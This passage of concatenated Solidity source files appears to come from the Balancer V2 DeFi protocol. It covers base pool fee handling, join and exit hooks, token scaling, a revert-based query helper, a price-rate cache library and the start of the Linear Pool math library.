_MAX_SWAP_FEE_PERCENTAGE = 1e17; // 10% - this fits in 64 bits // Storage slot that can be used to store unrelated pieces of information. In particular, by default is used // to store only the swap fee percentage of a pool. But it can be extended to store some more pieces of information. // The swap fee percentage is stored in the most-significant 64 bits, therefore the remaining 192 bits can be // used to store any other piece of information. bytes32 private _miscData; uint256 private constant _SWAP_FEE_PERCENTAGE_OFFSET = 192; bytes32 private immutable _poolId; event SwapFeePercentageChanged(uint256 swapFeePercentage); constructor( IVault vault, IVault.PoolSpecialization specialization, string memory name, string memory symbol, IERC20[] memory tokens, address[] memory assetManagers, uint256 swapFeePercentage, uint256 pauseWindowDuration, uint256 bufferPeriodDuration, address owner ) // Base Pools are expected to be deployed using factories. By using the factory address as the action // disambiguator, we make all Pools deployed by the same factory share action identifiers. This allows for // simpler management of permissions (such as being able to manage granting the 'set fee percentage' action in // any Pool created by the same factory), while still making action identifiers unique among different factories // if the selectors match, preventing accidental errors. Authentication(bytes32(uint256(msg.sender))) BalancerPoolToken(name, symbol, vault) BasePoolAuthorization(owner) TemporarilyPausable(pauseWindowDuration, bufferPeriodDuration) { _require(tokens.length >= _MIN_TOKENS, Errors.MIN_TOKENS); _require(tokens.length <= _getMaxTokens(), Errors.MAX_TOKENS); // The Vault only requires the token list to be ordered for the Two Token Pools specialization. However, // to make the developer experience consistent, we are requiring this condition for all the native pools. // Also, since these Pools will register tokens only once, we can ensure the Pool tokens will follow the same // order. We rely on this property to make Pools simpler to write, as it lets us assume that the // order of token-specific parameters (such as token weights) will not change. InputHelpers.ensureArrayIsSorted(tokens); _setSwapFeePercentage(swapFeePercentage); bytes32 poolId = vault.registerPool(specialization); vault.registerTokens(poolId, tokens, assetManagers); // Set immutable state variables - these cannot be read from during construction _poolId = poolId; } // Getters / Setters function getPoolId() public view override returns (bytes32) { return _poolId; } function _getTotalTokens() internal view virtual returns (uint256); function _getMaxTokens() internal pure virtual returns (uint256); /** * @dev Returns the minimum BPT supply. This amount is minted to the zero address during initialization, effectively * locking it. * * This is useful to make sure Pool initialization happens only once, but derived Pools can change this value (even * to zero) by overriding this function. */ function _getMinimumBpt() internal pure virtual returns (uint256) { return _DEFAULT_MINIMUM_BPT; } function getSwapFeePercentage() public view returns (uint256) { return _miscData.decodeUint64(_SWAP_FEE_PERCENTAGE_OFFSET); } function setSwapFeePercentage(uint256 swapFeePercentage) public virtual authenticate whenNotPaused { _setSwapFeePercentage(swapFeePercentage); } function _setSwapFeePercentage(uint256 swapFeePercentage) private { _require(swapFeePercentage >= _MIN_SWAP_FEE_PERCENTAGE, Errors.MIN_SWAP_FEE_PERCENTAGE); _require(swapFeePercentage <= _MAX_SWAP_FEE_PERCENTAGE, Errors.MAX_SWAP_FEE_PERCENTAGE); _miscData = _miscData.insertUint64(swapFeePercentage, _SWAP_FEE_PERCENTAGE_OFFSET); emit SwapFeePercentageChanged(swapFeePercentage); } function setAssetManagerPoolConfig(IERC20 token, bytes memory poolConfig) public virtual authenticate whenNotPaused { _setAssetManagerPoolConfig(token, poolConfig); } function _setAssetManagerPoolConfig(IERC20 token, bytes memory poolConfig) private { bytes32 poolId = getPoolId(); (, , , address assetManager) = getVault().getPoolTokenInfo(poolId, token); IAssetManager(assetManager).setConfig(poolId, poolConfig); } function setPaused(bool paused) external authenticate { _setPaused(paused); } function _isOwnerOnlyAction(bytes32 actionId) internal view virtual override returns (bool) { return (actionId == getActionId(this.setSwapFeePercentage.selector)) || (actionId == getActionId(this.setAssetManagerPoolConfig.selector)); } function _getMiscData() internal view returns (bytes32) { return _miscData; } /** * Inserts data into the least-significant 192 bits of the misc data storage slot. * Note that the remaining 64 bits are used for the swap fee percentage and cannot be overloaded. */ function _setMiscData(bytes32 newData) internal { _miscData = _miscData.insertBits192(newData, 0); } // Join / Exit Hooks modifier onlyVault(bytes32 poolId) { _require(msg.sender == address(getVault()), Errors.CALLER_NOT_VAULT); _require(poolId == getPoolId(), Errors.INVALID_POOL_ID); _; } function onJoinPool( bytes32 poolId, address sender, address recipient, uint256[] memory balances, uint256 lastChangeBlock, uint256 protocolSwapFeePercentage, bytes memory userData ) public virtual override onlyVault(poolId) returns (uint256[] memory, uint256[] memory) { uint256[] memory scalingFactors = _scalingFactors(); if (totalSupply() == 0) { (uint256 bptAmountOut, uint256[] memory amountsIn) = _onInitializePool( poolId, sender, recipient, scalingFactors, userData ); // On initialization, we lock _getMinimumBpt() by minting it for the zero address. This BPT acts as a // minimum as it will never be burned, which reduces potential issues with rounding, and also prevents the // Pool from ever being fully drained. _require(bptAmountOut >= _getMinimumBpt(), Errors.MINIMUM_BPT); _mintPoolTokens(address(0), _getMinimumBpt()); _mintPoolTokens(recipient, bptAmountOut - _getMinimumBpt()); // amountsIn are amounts entering the Pool, so we round up. _downscaleUpArray(amountsIn, scalingFactors); return (amountsIn, new uint256[](_getTotalTokens())); } else { _upscaleArray(balances, scalingFactors); (uint256 bptAmountOut, uint256[] memory amountsIn, uint256[] memory dueProtocolFeeAmounts) = _onJoinPool( poolId, sender, recipient, balances, lastChangeBlock, protocolSwapFeePercentage, scalingFactors, userData ); // Note we no longer use `balances` after calling `_onJoinPool`, which may mutate it. _mintPoolTokens(recipient, bptAmountOut); // amountsIn are amounts entering the Pool, so we round up. _downscaleUpArray(amountsIn, scalingFactors); // dueProtocolFeeAmounts are amounts exiting the Pool, so we round down. _downscaleDownArray(dueProtocolFeeAmounts, scalingFactors); return (amountsIn, dueProtocolFeeAmounts); } } function onExitPool( bytes32 poolId, address sender, address recipient, uint256[] memory balances, uint256 lastChangeBlock, uint256 protocolSwapFeePercentage, bytes memory userData ) public virtual override onlyVault(poolId) returns (uint256[] memory, uint256[] memory) { uint256[] memory scalingFactors = _scalingFactors(); _upscaleArray(balances, scalingFactors); (uint256 bptAmountIn, uint256[] memory amountsOut, uint256[] memory dueProtocolFeeAmounts) = _onExitPool( poolId, sender, recipient, balances, lastChangeBlock, protocolSwapFeePercentage, scalingFactors, userData ); // Note we no longer use `balances` after calling `_onExitPool`, which may mutate it. _burnPoolTokens(sender, bptAmountIn); // Both amountsOut and dueProtocolFeeAmounts are amounts exiting the Pool, so we round down. _downscaleDownArray(amountsOut, scalingFactors); _downscaleDownArray(dueProtocolFeeAmounts, scalingFactors); return (amountsOut, dueProtocolFeeAmounts); } // Query functions /** * @dev Returns the amount of BPT that would be granted to `recipient` if the `onJoinPool` hook were called by the * Vault with the same arguments, along with the number of tokens `sender` would have to supply. * * This function is not meant to be called directly, but rather from a helper contract that fetches current Vault * data, such as the protocol swap fee percentage and Pool balances. * * Like `IVault.queryBatchSwap`, this function is not view due to internal implementation details: the caller must * explicitly use eth_call instead of eth_sendTransaction. */ function queryJoin( bytes32 poolId, address sender, address recipient, uint256[] memory balances, uint256 lastChangeBlock, uint256 protocolSwapFeePercentage, bytes memory userData ) external returns (uint256 bptOut, uint256[] memory amountsIn) { InputHelpers.ensureInputLengthMatch(balances.length, _getTotalTokens()); _queryAction( poolId, sender, recipient, balances, lastChangeBlock, protocolSwapFeePercentage, userData, _onJoinPool, _downscaleUpArray ); // The `return` opcode is executed directly inside `_queryAction`, so execution never reaches this statement, // and we don't need to return anything here - it just silences compiler warnings. return (bptOut, amountsIn); } /** * @dev Returns the amount of BPT that would be burned from `sender` if the `onExitPool` hook were called by the * Vault with the same arguments, along with the number of tokens `recipient` would receive. * * This function is not meant to be called directly, but rather from a helper contract that fetches current Vault * data, such as the protocol swap fee percentage and Pool balances. * * Like `IVault.queryBatchSwap`, this function is not view due to internal implementation details: the caller must * explicitly use eth_call instead of eth_sendTransaction. */ function queryExit( bytes32 poolId, address sender, address recipient, uint256[] memory balances, uint256 lastChangeBlock, uint256 protocolSwapFeePercentage, bytes memory userData ) external returns (uint256 bptIn, uint256[] memory amountsOut) { InputHelpers.ensureInputLengthMatch(balances.length, _getTotalTokens()); _queryAction( poolId, sender, recipient, balances, lastChangeBlock, protocolSwapFeePercentage, userData, _onExitPool, _downscaleDownArray ); // The `return` opcode is executed directly inside `_queryAction`, so execution never reaches this statement, // and we don't need to return anything here - it just silences compiler warnings. return (bptIn, amountsOut); } // Internal hooks to be overridden by derived contracts - all token amounts (except BPT) in these interfaces are // upscaled. /** * @dev Called when the Pool is joined for the first time; that is, when the BPT total supply is zero. * * Returns the amount of BPT to mint, and the token amounts the Pool will receive in return. * * Minted BPT will be sent to `recipient`, except for _getMinimumBpt(), which will be deducted from this amount and * sent to the zero address instead. This will cause that BPT to remain forever locked there, preventing total BTP * from ever dropping below that value, and ensuring `_onInitializePool` can only be called once in the entire * Pool's lifetime. * * The tokens granted to the Pool will be transferred from `sender`. These amounts are considered upscaled and will * be downscaled (rounding up) before being returned to the Vault. */ function _onInitializePool( bytes32 poolId, address sender, address recipient, uint256[] memory scalingFactors, bytes memory userData ) internal virtual returns (uint256 bptAmountOut, uint256[] memory amountsIn); /** * @dev Called whenever the Pool is joined after the first initialization join (see `_onInitializePool`). * * Returns the amount of BPT to mint, the token amounts that the Pool will receive in return, and the number of * tokens to pay in protocol swap fees. * * Implementations of this function might choose to mutate the `balances` array to save gas (e.g. when * performing intermediate calculations, such as subtraction of due protocol fees). This can be done safely. * * Minted BPT will be sent to `recipient`. * * The tokens granted to the Pool will be transferred from `sender`. These amounts are considered upscaled and will * be downscaled (rounding up) before being returned to the Vault. * * Due protocol swap fees will be taken from the Pool's balance in the Vault (see `IBasePool.onJoinPool`). These * amounts are considered upscaled and will be downscaled (rounding down) before being returned to the Vault. */ function _onJoinPool( bytes32 poolId, address sender, address recipient, uint256[] memory balances, uint256 lastChangeBlock, uint256 protocolSwapFeePercentage, uint256[] memory scalingFactors, bytes memory userData ) internal virtual returns ( uint256 bptAmountOut, uint256[] memory amountsIn, uint256[] memory dueProtocolFeeAmounts ); /** * @dev Called whenever the Pool is exited. * * Returns the amount of BPT to burn, the token amounts for each Pool token that the Pool will grant in return, and * the number of tokens to pay in protocol swap fees. * * Implementations of this function might choose to mutate the `balances` array to save gas (e.g. when * performing intermediate calculations, such as subtraction of due protocol fees). This can be done safely. * * BPT will be burnt from `sender`. * * The Pool will grant tokens to `recipient`. These amounts are considered upscaled and will be downscaled * (rounding down) before being returned to the Vault. * * Due protocol swap fees will be taken from the Pool's balance in the Vault (see `IBasePool.onExitPool`). These * amounts are considered upscaled and will be downscaled (rounding down) before being returned to the Vault. */ function _onExitPool( bytes32 poolId, address sender, address recipient, uint256[] memory balances, uint256 lastChangeBlock, uint256 protocolSwapFeePercentage, uint256[] memory scalingFactors, bytes memory userData ) internal virtual returns ( uint256 bptAmountIn, uint256[] memory amountsOut, uint256[] memory dueProtocolFeeAmounts ); // Internal functions /** * @dev Adds swap fee amount to `amount`, returning a higher value. */ function _addSwapFeeAmount(uint256 amount) internal view returns (uint256) { // This returns amount + fee amount, so we round up (favoring a higher fee amount). return amount.divUp(FixedPoint.ONE.sub(getSwapFeePercentage())); } /** * @dev Subtracts swap fee amount from `amount`, returning a lower value. */ function _subtractSwapFeeAmount(uint256 amount) internal view returns (uint256) { // This returns amount - fee amount, so we round up (favoring a higher fee amount). uint256 feeAmount = amount.mulUp(getSwapFeePercentage()); return amount.sub(feeAmount); } // Scaling /** * @dev Returns a scaling factor that, when multiplied to a token amount for `token`, normalizes its balance as if * it had 18 decimals. */ function _computeScalingFactor(IERC20 token) internal view returns (uint256) { if (address(token) == address(this)) { return FixedPoint.ONE; } // Tokens that don't implement the `decimals` method are not supported. uint256 tokenDecimals = ERC20(address(token)).decimals(); // Tokens with more than 18 decimals are not supported. uint256 decimalsDifference = Math.sub(18, tokenDecimals); return FixedPoint.ONE * 10**decimalsDifference; } /** * @dev Returns the scaling factor for one of the Pool's tokens. Reverts if `token` is not a token registered by the * Pool. * * All scaling factors are fixed-point values with 18 decimals, to allow for this function to be overridden by * derived contracts that need to apply further scaling, making these factors potentially non-integer. * * The largest 'base' scaling factor (i.e. in tokens with less than 18 decimals) is 10**18, which in fixed-point is * 10**36. This value can be multiplied with a 112 bit Vault balance with no overflow by a factor of ~1e7, making * even relatively 'large' factors safe to use. * * The 1e7 figure is the result of 2**256 / (1e18 * 1e18 * 2**112). */ function _scalingFactor(IERC20 token) internal view virtual returns (uint256); /** * @dev Same as `_scalingFactor()`, except for all registered tokens (in the same order as registered). The Vault * will always pass balances in this order when calling any of the Pool hooks. */ function _scalingFactors() internal view virtual returns (uint256[] memory); function getScalingFactors() external view returns (uint256[] memory) { return _scalingFactors(); } /** * @dev Applies `scalingFactor` to `amount`, resulting in a larger or equal value depending on whether it needed * scaling or not. */ function _upscale(uint256 amount, uint256 scalingFactor) internal pure returns (uint256) { // Upscale rounding wouldn't necessarily always go in the same direction: in a swap for example the balance of // token in should be rounded up, and that of token out rounded down. This is the only place where we round in // the same direction for all amounts, as the impact of this rounding is expected to be minimal (and there's no // rounding error unless `_scalingFactor()` is overriden). return FixedPoint.mulDown(amount, scalingFactor); } /** * @dev Same as `_upscale`, but for an entire array. This function does not return anything, but instead *mutates* * the `amounts` array. */ function _upscaleArray(uint256[] memory amounts, uint256[] memory scalingFactors) internal view { for (uint256 i = 0; i < _getTotalTokens(); ++i) { amounts[i] = FixedPoint.mulDown(amounts[i], scalingFactors[i]); } } /** * @dev Reverses the `scalingFactor` applied to `amount`, resulting in a smaller or equal value depending on * whether it needed scaling or not. The result is rounded down. */ function _downscaleDown(uint256 amount, uint256 scalingFactor) internal pure returns (uint256) { return FixedPoint.divDown(amount, scalingFactor); } /** * @dev Same as `_downscaleDown`, but for an entire array. This function does not return anything, but instead * *mutates* the `amounts` array. */ function _downscaleDownArray(uint256[] memory amounts, uint256[] memory scalingFactors) internal view { for (uint256 i = 0; i < _getTotalTokens(); ++i) { amounts[i] = FixedPoint.divDown(amounts[i], scalingFactors[i]); } } /** * @dev Reverses the `scalingFactor` applied to `amount`, resulting in a smaller or equal value depending on * whether it needed scaling or not. The result is rounded up. */ function _downscaleUp(uint256 amount, uint256 scalingFactor) internal pure returns (uint256) { return FixedPoint.divUp(amount, scalingFactor); } /** * @dev Same as `_downscaleUp`, but for an entire array. This function does not return anything, but instead * *mutates* the `amounts` array. */ function _downscaleUpArray(uint256[] memory amounts, uint256[] memory scalingFactors) internal view { for (uint256 i = 0; i < _getTotalTokens(); ++i) { amounts[i] = FixedPoint.divUp(amounts[i], scalingFactors[i]); } } function _getAuthorizer() internal view override returns (IAuthorizer) { // Access control management is delegated to the Vault's Authorizer. This lets Balancer Governance manage which // accounts can call permissioned functions: for example, to perform emergency pauses. // If the owner is delegated, then *all* permissioned functions, including `setSwapFeePercentage`, will be under // Governance control. return getVault().getAuthorizer(); } function _queryAction( bytes32 poolId, address sender, address recipient, uint256[] memory balances, uint256 lastChangeBlock, uint256 protocolSwapFeePercentage, bytes memory userData, function(bytes32, address, address, uint256[] memory, uint256, uint256, uint256[] memory, bytes memory) internal returns (uint256, uint256[] memory, uint256[] memory) _action, function(uint256[] memory, uint256[] memory) internal view _downscaleArray ) private { // This uses the same technique used by the Vault in queryBatchSwap. Refer to that function for a detailed // explanation. if (msg.sender != address(this)) { // We perform an external call to ourselves, forwarding the same calldata. In this call, the else clause of // the preceding if statement will be executed instead. // solhint-disable-next-line avoid-low-level-calls (bool success, ) = address(this).call(msg.data); // solhint-disable-next-line no-inline-assembly assembly { // This call should always revert to decode the bpt and token amounts from the revert reason switch success case 0 { // Note we are manually writing the memory slot 0. We can safely overwrite whatever is // stored there as we take full control of the execution and then immediately return. // We copy the first 4 bytes to check if it matches with the expected signature, otherwise // there was another revert reason and we should forward it. returndatacopy(0, 0, 0x04) let error := and(mload(0), 0xffffffff00000000000000000000000000000000000000000000000000000000) // If the first 4 bytes don't match with the expected signature, we forward the revert reason. if eq(eq(error, 0x43adbafb00000000000000000000000000000000000000000000000000000000), 0) { returndatacopy(0, 0, returndatasize()) revert(0, returndatasize()) } // The returndata contains the signature, followed by the raw memory representation of the // `bptAmount` and `tokenAmounts` (array: length + data). We need to return an ABI-encoded // representation of these. // An ABI-encoded response will include one additional field to indicate the starting offset of // the `tokenAmounts` array. The `bptAmount` will be laid out in the first word of the // returndata. // // In returndata: // [ signature ][ bptAmount ][ tokenAmounts length ][ tokenAmounts values ] // [ 4 bytes ][ 32 bytes ][ 32 bytes ][ (32 * length) bytes ] // // We now need to return (ABI-encoded values): // [ bptAmount ][ tokeAmounts offset ][ tokenAmounts length ][ tokenAmounts values ] // [ 32 bytes ][ 32 bytes ][ 32 bytes ][ (32 * length) bytes ] // We copy 32 bytes for the `bptAmount` from returndata into memory. // Note that we skip the first 4 bytes for the error signature returndatacopy(0, 0x04, 32) // The offsets are 32-bytes long, so the array of `tokenAmounts` will start after // the initial 64 bytes. mstore(0x20, 64) // We now copy the raw memory array for the `tokenAmounts` from returndata into memory. // Since bpt amount and offset take up 64 bytes, we start copying at address 0x40. We also // skip the first 36 bytes from returndata, which correspond to the signature plus bpt amount. returndatacopy(0x40, 0x24, sub(returndatasize(), 36)) // We finally return the ABI-encoded uint256 and the array, which has a total length equal to // the size of returndata, plus the 32 bytes of the offset but without the 4 bytes of the // error signature. return(0, add(returndatasize(), 28)) } default { // This call should always revert, but we fail nonetheless if that didn't happen invalid() } } } else { uint256[] memory scalingFactors = _scalingFactors(); _upscaleArray(balances, scalingFactors); (uint256 bptAmount, uint256[] memory tokenAmounts, ) = _action( poolId, sender, recipient, balances, lastChangeBlock, protocolSwapFeePercentage, scalingFactors, userData ); _downscaleArray(tokenAmounts, scalingFactors); // solhint-disable-next-line no-inline-assembly assembly { // We will return a raw representation of `bptAmount` and `tokenAmounts` in memory, which is composed of // a 32-byte uint256, followed by a 32-byte for the array length, and finally the 32-byte uint256 values // Because revert expects a size in bytes, we multiply the array length (stored at `tokenAmounts`) by 32 let size := mul(mload(tokenAmounts), 32) // We store the `bptAmount` in the previous slot to the `tokenAmounts` array. We can make sure there // will be at least one available slot due to how the memory scratch space works. // We can safely overwrite whatever is stored in this slot as we will revert immediately after that. let start := sub(tokenAmounts, 0x20) mstore(start, bptAmount) // We send one extra value for the error signature "QueryError(uint256,uint256[])" which is 0x43adbafb // We use the previous slot to `bptAmount`. mstore(sub(start, 0x20), 0x0000000000000000000000000000000000000000000000000000000043adbafb) start := sub(start, 0x04) // When copying from `tokenAmounts` into returndata, we copy the additional 68 bytes to also return // the `bptAmount`, the array 's length, and the error signature. revert(start, add(size, 68)) } } } } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; interface IRateProvider { /** * @dev Returns an 18 decimal fixed point number that is the exchange rate of the token to some other underlying * token. The meaning of this rate depends on the context. */ function getRate() external view returns (uint256); } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; import "@balancer-labs/v2-solidity-utils/contracts/helpers/WordCodec.sol"; import "@balancer-labs/v2-solidity-utils/contracts/helpers/BalancerErrors.sol"; /** * Price rate caches are used to avoid querying the price rate for a token every time we need to work with it. It is * useful for slow changing rates, such as those that arise from interest-bearing tokens (e.g. waDAI into DAI). * * The cache data is packed into a single bytes32 value with the following structure: * [ expires | duration | price rate value ] * [ uint64 | uint64 | uint128 ] * [ MSB LSB ] * * * 'rate' is an 18 decimal fixed point number, supporting rates of up to ~3e20. 'expires' is a Unix timestamp, and * 'duration' is expressed in seconds. */ library PriceRateCache { using WordCodec for bytes32; uint256 private constant _PRICE_RATE_CACHE_VALUE_OFFSET = 0; uint256 private constant _PRICE_RATE_CACHE_DURATION_OFFSET = 128; uint256 private constant _PRICE_RATE_CACHE_EXPIRES_OFFSET = 128 + 64; /** * @dev Returns the rate of a price rate cache. */ function getRate(bytes32 cache) internal pure returns (uint256) { return cache.decodeUint128(_PRICE_RATE_CACHE_VALUE_OFFSET); } /** * @dev Returns the duration of a price rate cache. */ function getDuration(bytes32 cache) internal pure returns (uint256) { return cache.decodeUint64(_PRICE_RATE_CACHE_DURATION_OFFSET); } /** * @dev Returns the duration and expiration time of a price rate cache. */ function getTimestamps(bytes32 cache) internal pure returns (uint256 duration, uint256 expires) { duration = getDuration(cache); expires = cache.decodeUint64(_PRICE_RATE_CACHE_EXPIRES_OFFSET); } /** * @dev Encodes rate and duration into a price rate cache. The expiration time is computed automatically, counting * from the current time. */ function encode(uint256 rate, uint256 duration) internal view returns (bytes32) { _require(rate < 2**128, Errors.PRICE_RATE_OVERFLOW); // solhint-disable not-rely-on-time return WordCodec.encodeUint(uint128(rate), _PRICE_RATE_CACHE_VALUE_OFFSET) | WordCodec.encodeUint(uint64(duration), _PRICE_RATE_CACHE_DURATION_OFFSET) | WordCodec.encodeUint(uint64(block.timestamp + duration), _PRICE_RATE_CACHE_EXPIRES_OFFSET); } /** * @dev Returns rate, duration and expiration time of a price rate cache. */ function decode(bytes32 cache) internal pure returns ( uint256 rate, uint256 duration, uint256 expires ) { rate = getRate(cache); (duration, expires) = getTimestamps(cache); } } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; pragma experimental ABIEncoderV2; import "./IBasePool.sol"; /** * @dev IPools with the General specialization setting should implement this interface. * * This is called by the Vault when a user calls `IVault.swap` or `IVault.batchSwap` to swap with this Pool. * Returns the number of tokens the Pool will grant to the user in a 'given in' swap, or that the user will * grant to the pool in a 'given out' swap. * * This can often be implemented by a `view` function, since many pricing algorithms don't need to track state * changes in swaps. However, contracts implementing this in non-view functions should check that the caller is * indeed the Vault. */ interface IGeneralPool is IBasePool { function onSwap( SwapRequest memory swapRequest, uint256[] memory balances, uint256 indexIn, uint256 indexOut ) external returns (uint256 amount); } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; import "@balancer-labs/v2-solidity-utils/contracts/math/Math.sol"; import "@balancer-labs/v2-solidity-utils/contracts/math/FixedPoint.sol"; // These functions start with an underscore, as if they were part of a contract and not a library. At some point this // should be fixed. // solhint-disable private-vars-leading-underscore library LinearMath { using FixedPoint for uint256; // A thorough derivation of the formulas and derivations found here exceeds the scope of this file, so only // introductory notions will be presented. // A Linear Pool holds three tokens: the main token, the wrapped token, and the Pool share token (BPT). It is // possible to exchange any of these tokens for any of the other two (so we have three trading pairs) in both // directions (the first token of each pair can be bought or sold for the second) and by specifying either the input // or output amount (typically referred to as 'given in' or 'given out'). A full description thus requires // 3*2*2 = 12 functions. // Wrapped tokens have a known, trusted exchange rate to main tokens. All functions here assume such a rate has // already been applied, meaning main and wrapped balances can be compared as they are both expressed in the same // units (those of main token). // Additionally, Linear Pools feature a lower and upper target that represent the desired range of values for the // main token balance. Any action that moves the main balance away from this range is charged a proportional fee, // and any action that moves it towards this range is incentivized by paying the actor using these collected fees. // The collected fees are not stored in a separate data structure: they are a function of the current main balance, // targets and fee percentage. The main balance sans fees is known as the 'nominal balance', which is always smaller // than the real balance except when the real balance is within the targets. // The rule under which Linear Pools conduct trades between main and wrapped tokens is by keeping the sum of nominal // main balance and wrapped balance constant: this value is known as the 'invariant'. BPT is backed by nominal // reserves, meaning its supply is proportional to the invariant. As the wrapped token appreciates in value and its // exchange rate to the main token increases, so does the invariant and thus the value of BPT (in main token units). struct Params { uint256 fee; uint256 lowerTarget; uint256 upperTarget; } function _calcBptOutPerMainIn( uint256 mainIn, uint256 mainBalance, uint256 wrappedBalance, uint256 bptSupply, Params memory params ) internal pure returns (uint256) { // Amount out, so we round down overall. if (bptSupply == 0) { // BPT typically grows in the same ratio the invariant does. The first time liquidity is added however, the // BPT supply is initialized to equal the invariant (which in this case is just the nominal main balance as // there is no wrapped balance). return _toNominal(mainIn, params); } uint256 previousNominalMain = _toNominal(mainBalance, params); uint256 afterNominalMain = _toNominal(mainBalance.add(mainIn), params); uint256 deltaNominalMain = afterNominalMain.sub(previousNominalMain); uint256 invariant = _calcInvariant(previousNominalMain, wrappedBalance); return Math.divDown(Math.mul(bptSupply, deltaNominalMain), invariant); } function _calcBptInPerMainOut( uint256 mainOut, uint256 mainBalance, uint256 wrappedBalance, uint256 bptSupply, Params memory params ) internal pure returns (uint256) { // Amount in, so we round up overall. uint256 previousNominalMain = _toNominal(mainBalance, params); uint256 afterNominalMain = _toNominal(mainBalance.sub(mainOut), params); uint256 deltaNominalMain = previousNominalMain.sub(afterNominalMain); uint256 invariant = _calcInvariant(previousNominalMain, wrappedBalance); return Math.divUp(Math.mul(bptSupply, deltaNominalMain), invariant); } function _calcWrappedOutPerMainIn( uint256 mainIn, uint256 mainBalance, Params memory params ) internal pure returns (uint256) { // Amount out, so we round down overall. uint256 previousNominalMain = _toNominal(mainBalance, params); uint256 afterNominalMain = _toNominal(mainBalance.add(mainIn), params); return afterNominalMain.sub(previousNominalMain); } function _calcWrappedInPerMainOut( uint256 mainOut, uint256 mainBalance, Params memory params ) internal pure returns (uint256) { // Amount in, so we round up overall. uint256 previousNominalMain = _toNominal(mainBalance, params); uint256 afterNominalMain = _toNominal(mainBalance.sub(mainOut), params); return previousNominalMain.sub(afterNominalMain); } function _calcMainInPerBptOut( uint256 bptOut, uint256 mainBalance, uint256 wrappedBalance, uint256 bptSupply, Params memory params ) internal pure returns (uint256) { // Amount in, so we round up overall. if (bptSupply == 0) { // BPT typically grows in the same ratio the invariant does. The first time liquidity is added however, the // BPT supply is initialized to equal the invariant (which in this case is just the nominal main balance as // there is no wrapped balance). return _fromNominal(bptOut, params); } uint256 previousNominalMain = _toNominal(mainBalance, params); uint256 invariant = _calcInvariant(previousNominalMain, wrappedBalance); uint256 deltaNominalMain = Math.divUp(Math.mul(invariant, bptOut), bptSupply); uint256 afterNominalMain = previousNominalMain.add(deltaNominalMain); uint256 newMainBalance = _fromNominal(afterNominalMain, params); return newMainBalance.sub(mainBalance); } function _calcMainOutPerBptIn( uint256 bptIn, uint256 mainBalance, uint256 wrappedBalance, uint256 bptSupply, Params memory params ) internal pure returns (uint256) { // Amount out, so we round down overall. uint256 previousNominalMain = _toNominal(mainBalance, params); uint256 invariant = _calcInvariant(previousNominalMain, wrappedBalance); uint256 deltaNominalMain = Math.divDown(Math.mul(invariant, bptIn), bptSupply); uint256 afterNominalMain = previousNominalMain.sub(deltaNominalMain); uint256 newMainBalance = _fromNominal(afterNominalMain, params); return mainBalance.sub(newMainBalance); } function _calcMainOutPerWrappedIn( uint256 wrappedIn, uint256 mainBalance, Params memory params ) internal pure returns (uint256) { // Amount out, so we round down overall. uint256 previousNominalMain = _toNominal(mainBalance, params); uint256 afterNominalMain = previousNominalMain.sub(wrappedIn); uint256 newMainBalance = _fromNominal(afterNominalMain, params); return mainBalance.sub(newMainBalance); } function _calcMainInPerWrappedOut( uint256 wrappedOut, uint256 mainBalance, Params memory params ) internal pure returns (uint256) { // Amount in, so we round up overall. uint256 previousNominalMain = _toNominal(mainBalance, params); uint256 afterNominalMain = previousNominalMain.add(wrappedOut); uint256 newMainBalance = _fromNominal(afterNominalMain, params); return newMainBalance.sub(mainBalance); } function _calcBptOutPerWrappedIn( uint256 wrappedIn, uint256 mainBalance, uint256 wrappedBalance, uint256 bptSupply, Params memory params ) internal pure returns (uint256) { // Amount out, so we round down overall. if (bptSupply == 0) { // BPT typically grows in the same ratio the invariant does. The first time liquidity is added however, the // BPT supply is initialized to equal the invariant (which in this case is just the wrapped balance as // there is no main balance). return wrappedIn; } uint256 nominalMain = _toNominal(mainBalance, params); uint256 previousInvariant = _calcInvariant(nominalMain, wrappedBalance); uint256 newWrappedBalance = wrappedBalance.add(wrappedIn); uint256 newInvariant = _calcInvariant(nominalMain, newWrappedBalance); uint256 newBptBalance = Math.divDown(Math.mul(bptSupply, newInvariant), previousInvariant); return newBptBalance.sub(bptSupply); } function _calcBptInPerWrappedOut( uint256 wrappedOut, uint256 mainBalance, uint256 wrappedBalance, uint256 bptSupply, Params memory params ) internal pure returns (uint256) { // Amount in, so we round up overall. uint256 nominalMain = _toNominal(mainBalance, params); uint256 previousInvariant = _calcInvariant(nominalMain, wrappedBalance); uint256 newWrappedBalance = wrappedBalance.sub(wrappedOut); uint256 newInvariant = _calcInvariant(nominalMain, newWrappedBalance); uint256 newBptBalance = Math.divDown(Math.mul(bptSupply, newInvariant), previousInvariant); return bptSupply.sub(newBptBalance); } function _calcWrappedInPerBptOut( 